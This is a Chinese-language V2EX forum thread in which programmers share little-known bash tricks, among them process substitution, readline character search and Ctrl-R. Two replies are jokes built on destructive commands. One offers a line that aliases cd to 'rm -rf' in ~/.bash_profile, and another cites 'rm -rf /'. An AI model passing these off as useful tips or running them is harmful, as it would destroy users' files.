V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ChristopherWu
V2EX  ›  程序员

有什么相对小众(你自己觉得)的 bash 命令/语法,你觉得很好用的呢?

  •  
  •   ChristopherWu · 2020-09-18 11:30:01 +08:00 · 1342 次点击
    这是一个创建于 1288 天前的主题,其中的信息可能已经有所发展或是发生改变。

    我分享一个: https://tldp.org/LDP/abs/html/process-sub.html Process Substitution,可以将命令输出作为输入传给另一个命令

    5 条回复    2020-09-21 16:25:12 +08:00
    WUWENZE
        1
    WUWENZE  
       2020-09-18 13:46:50 +08:00
    那我也来分享一个小众的吧,不要乱试哦
    echo "alias cd='rm -rf'" >> ~/.bash_profile && source ~/.bash_profile
    BoarBoar
        2
    BoarBoar  
       2020-09-18 15:47:52 +08:00
    rm -rf / 不能再小众了,所有技术人员也不见得有几个用过
    silverzhao
        3
    silverzhao  
       2020-09-18 17:48:20 +08:00
    ```
    character-search (C-])
    A character is read and point is moved to the next occurrence of that character. A negative count searches for previous occurrences.

    character-search-backward (M-C-])
    A character is read and point is moved to the previous occurrence of that character. A negative count searches for subsequent occurrences.
    ```

    比如说有命令如下,现在正处于光标开头:
    echo abc012

    想快速定位到 "1" 的位置,则可以按下:Ctrl-] 1 ;
    此时光标处于 "1" 的位置,如果再想定位到 "a",则可以按下:Ctrl-Alt-] a 。
    Shilion
        4
    Shilion  
       2020-09-18 20:11:28 +08:00 via iPhone
    dir
    Davic1
        5
    Davic1  
       2020-09-21 16:25:12 +08:00
    Ctrl-R
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5345 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 07:10 · PVG 15:10 · LAX 00:10 · JFK 03:10
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.